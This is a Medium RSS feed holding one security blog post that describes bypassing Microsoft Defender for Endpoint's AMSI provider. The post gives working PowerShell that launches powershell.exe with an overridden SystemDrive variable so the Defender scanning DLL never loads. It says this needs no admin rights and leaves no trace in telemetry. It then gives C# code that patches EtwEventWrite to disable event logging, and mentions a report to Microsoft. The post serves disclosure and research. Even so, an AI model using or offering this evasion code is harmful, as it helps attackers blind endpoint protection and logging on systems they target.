<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jake Peralta on Medium]]></title>
        <description><![CDATA[Stories by Jake Peralta on Medium]]></description>
        <link>https://medium.com/@jakeperalta7?source=rss-6aaf6821ab30------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*CeJddGGwZjZwwwMx</url>
            <title>Stories by Jake Peralta on Medium</title>
            <link>https://medium.com/@jakeperalta7?source=rss-6aaf6821ab30------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 14:23:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jakeperalta7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing MDE’s AMSI Provider]]></title>
            <link>https://medium.com/@jakeperalta7/bypassing-mdes-amsi-provider-7a0d712586c1?source=rss-6aaf6821ab30------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a0d712586c1</guid>
            <category><![CDATA[amsi]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[microsoft-defender]]></category>
            <dc:creator><![CDATA[Jake Peralta]]></dc:creator>
            <pubDate>Tue, 16 Dec 2025 17:14:55 GMT</pubDate>
            <atom:updated>2026-01-25T11:52:29.388Z</atom:updated>
            <content:encoded><![CDATA[<h3>AMSI</h3><p>I won’t cover AMSI itself in-depth in this article because it’s a well-researched topic, I’ll just explain how the AMSI provider is being loaded (this is an over-simplification to understand the bypass).</p><ol><li>The AMSI consumer process is created (for example, powershell.exe)</li><li>Amsi.dll is being loaded</li><li><em>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\Providers</em> subkeys are enumerated (for 32bit it’s <em>HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\AMSI\Providers</em>), the subkeys are GUIDs for the AMSI providers COM server CLSID.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*9L5pkKVPciKk9HTaNV_j9Q.png" /><figcaption>64bit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*UiPPQ72Z_dVJ6OMhnsmC7g.png" /><figcaption>32bit</figcaption></figure><p>4. The path to the DLL is found in the <em>InProcServer32</em> key of the COM server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PYnnr7MAQpDxs50o5Ouiw.png" /><figcaption>64bit</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJeXd0-hS3y8tobbRb_Ecg.png" /><figcaption>32bit</figcaption></figure><h3>The Bypass</h3><p>MDE’s AMSI provider (MpOav.dll) with the GUID <em>{2781761E-28E0–4109–99FE-B9D127C57AFE}</em>, doesn’t have hardcoded path to the 64bit DLL and instead uses the <em>ProgramData</em> environment variable.</p><p>After doing some research I realized that <em>ProgramData </em>is not a real environment variable and its value is set in the registry (<em>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList</em>).</p><p>That’s not good, modifying HKLM requires local Admin access and also changing <em>ProgramData </em>can create bugs (because we are changing it for the entire OS).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/0*oks1lO4v2LIB4Bwe" /></figure><p><em>ProgramData</em> uses another environment variable - <em>SystemDrive</em>, and this environment variable is a real one.</p><p>Because Windows API allows us to create a process with an override of environment variable, we can create our powershell.exe process and tell it that <em>SystemDrive</em> is something else.</p><p>The result will be powershell.exe liberated from MDE’s AMSI signatures.</p><p>Keep in mind that this technique will affect only the process we created, does not require local admin and will not appear in MDE’s telemetry (because environment variable override on process creation isn’t logged).</p><p>After we’ve disabled the AMSI provider we can patch ETW to disable logging as well.</p><h3>Demo</h3><p>Let’s create a PowerShell process (or any other AMSI consumer process) with the following code (can be implemented in almost any language)</p><pre>$psi = New-Object System.Diagnostics.ProcessStartInfo<br>$psi.FileName = &quot;powershell.exe&quot;<br>$psi.UseShellExecute = $false                # required to edit environment for child<br>$psi.EnvironmentVariables[&quot;SystemDrive&quot;] = &quot;C:\Temp&quot;<br>[System.Diagnostics.Process]::Start($psi)</pre><p>And we can make sure that MpOav.dll is not loaded by using <em>tasklist</em> or <em>Process Explorer</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jV9T-n2TuddrMbdZnSc5VQ.png" /></figure><p>We can use Microsoft AMSI test script to make sure AMSI doesn’t work</p><pre>$testString = &quot;AMSI Test Sample: &quot; + &quot;7e72c3ce-861b-4339-8740-0ac1484c1386&quot;<br>Invoke-Expression $testString</pre><p>After that we can patch ETW and complete the scenario</p><pre>$patch = @&quot;<br>using System;<br>using System.Diagnostics;<br>using System.Runtime.InteropServices;<br><br>public class Patcher<br>{<br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);<br><br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern IntPtr GetModuleHandle(string lpModuleName);<br><br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);<br><br>    [DllImport(&quot;kernel32.dll&quot;, SetLastError = true)]<br>    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);<br><br>    public static void PatchEtwEventWrite()<br>    {<br>        const uint PAGE_EXECUTE_READWRITE = 0x40;<br>        string ntdllModuleName = &quot;ntdll.dll&quot;;<br>        string etwEventWriteFunctionName = &quot;EtwEventWrite&quot;;<br><br>        IntPtr ntdllModuleHandle = GetModuleHandle(ntdllModuleName);<br>        IntPtr etwEventWriteAddress = GetProcAddress(ntdllModuleHandle, etwEventWriteFunctionName);<br><br>        byte[] retOpcode = { 0xC3 }; // RET opcode<br><br>        uint oldProtect;<br>        VirtualProtect(etwEventWriteAddress, (UIntPtr)retOpcode.Length, PAGE_EXECUTE_READWRITE, out oldProtect);<br>         <br>        int bytesWritten;<br>        WriteProcessMemory(Process.GetCurrentProcess().Handle, etwEventWriteAddress, retOpcode, (uint)retOpcode.Length, out bytesWritten);<br>    }<br>}<br>&quot;@<br>Add-Type -TypeDefinition $patch -Language CSharp<br>[Patcher]::PatchEtwEventWrite()</pre><h3>Microsoft Response</h3><p>After several weeks of back and forth, my ticket in MSRC was concluded with the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*NXkkq1GjV2v1z9yNFpEC5g.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a0d712586c1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>